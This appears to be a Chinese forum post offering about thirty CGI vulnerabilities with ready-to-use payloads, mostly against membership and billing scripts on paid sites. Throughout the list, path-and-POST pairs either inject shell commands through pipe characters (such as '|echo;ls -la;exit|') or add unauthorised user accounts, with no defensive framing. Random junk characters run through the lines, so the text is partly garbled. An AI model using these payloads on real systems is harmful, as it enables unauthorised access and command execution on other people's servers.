Cgi-bin 30个漏洞＋使用方法

admin

==============================
* x" `0 H5 c, {& Y+ o
/smspass.pl
; Q" t- t' z; H8 L1 L9 nusername=username&password=password

/index.cgi
wei=ren&gen=command
5 w/ {3 D, @% i; E+ [
/passmaster.cgi
Action=Add&Username=Username&Password=Password

; E# J. j$ }( @% s8 E& \  D/accountcreate.cgi
- P( j$ N2 c: ]% J: ~username=username&password=password&ref1=|echo;ls|
) f" ~8 M& z7 Y; g
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
, N! ]; C+ Q; d6 ]* O0 A3 ?8 b
, y9 {- @) d3 Z* v6 \. ^/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
! P5 P' {( G8 ^) G% p7 k) Wuser=username&pass=Password&confirm=Password

; h* Z4 d# m/ M$ ^  k* Q/ccbill-local.asp
post_values=username:password

/count.cgi
, r7 d% C' _% r5 E& Z3 m- @8 G  zpinfile=|echo;ls -la;exit|

+ l) f  W3 v4 d* s1 q, H9 U/recon.cgi
1 Y" [( o* o+ d  h, e& ?/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

. m: Q; a* O/ L. K7 B/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
; z% [: U' t" u1 R! N9 |4 V, D
/af.cgi
_browser_out=|echo;ls -la;exit;|
3 @1 h+ N  J* }- v1 D/ T
( b/ W: ^, k0 L# g5 w% T  }/modify.cgi
username=username&password=password&expire=30
: H  l0 i# p9 Y
/openjournal.cgi
. R& J, L# ?, w/ i( n, Nedit=1&ct=2&go=|echo;ls -al;exit|
! e2 p1 q6 S$ c; r' x
/gx9passwd.cgi
2 i. r# a: R7 u, [cmd=ADD&user=username&pass=password
& g2 J% _% q' I$ a1 D
6 W# S; f& ]9 e  ~( A/probecontrol.cgi
! u; a- \, {% L. Pcommand=enable&username=username&password=password
% M! e$ Z0 B2 ?2 }4 L* n
1 ^! X8 H- B2 {! z/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

3 F, F3 H9 o' y7 \( |0 {7 c. m/htadd.pl
configfile=|echo; ls -alt; exit

- {. d7 p( g: n4 e! n/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
$ x- Y4 e- Z  q* K: O: \# jcommand=add_member&username=username(EMAIL)&password=password(DES)
+ i7 M" E) h% L. F
/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
9 W: C) H9 X$ Z) Z2 `
& Z2 `6 l3 I7 Z1 y# {- j- M1 U3 d/usercontrol.cgi
& o9 _8 H7 [( V1 L3 Zcommand=enable&username=USER&password=PASS

/globoSALErum.cgi
" n4 `- |4 m( g* Daction=ADD&seccode=seccode&login=username&password=password

/addusr.pl
, z0 x0 g% O' x( Buser=USER&pass=PASS&confirm=PASS

% @( k5 g/ N+ l9 ?$ b/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
# Q4 m# n; H' Kpinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
2 ^; ]$ I8 R5 jusername=username&password=password&password2=password&ref1=|echo;ls -al;exit

. v' k9 y& ^" w0 T/af.cgi
/env.cgi
& l; P9 n' e$ Q: ?6 yADD+;echo;pwd;exit

/count.cgi
! r, x8 V! z* Q: p# `7 `: v: Lpinfile=|echo;pwd;exit|
9 ^  J- \: T- D( D- H8 P
/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
/ [5 s4 _+ _/ I/ L, s
4 w: R: I  J! @' ~2 f/add.cgi
username=username&password=password&expire=30

==============================